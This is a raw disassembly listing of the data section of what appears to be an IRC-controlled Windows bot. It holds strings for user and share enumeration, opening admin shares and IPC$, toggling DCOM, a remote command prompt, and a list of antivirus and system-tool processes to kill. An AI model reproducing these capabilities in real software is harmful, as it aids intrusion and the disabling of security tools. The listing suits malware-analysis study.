aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_43A340
dd offset dword_43A334
dd offset dword_43A328
dd offset dword_43A31C
dd offset dword_43A310
dd offset dword_43A304
dd offset dword_43A2F4
dd offset dword_43A2E8
dd offset dword_43A2DC
dd offset dword_43A2D0
dd offset dword_43A2C4
dd offset dword_43A2B4
dd offset dword_43A2A8
dd offset dword_43A298
dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo
; ___:0043A294o
dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co
dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o
dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o
dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o
dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o
dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co
dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o
dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o
dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
align 10h
dd offset dword_43A578
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset off_43A570
dd offset dword_43A56C
dd offset off_43A568
off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o
; ___:0043A564o
dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o
off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o
dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o
dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o
dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo
dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o
unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo
dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00 dd 54932206h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o
; ___:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r
; ___:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr
dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o
dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
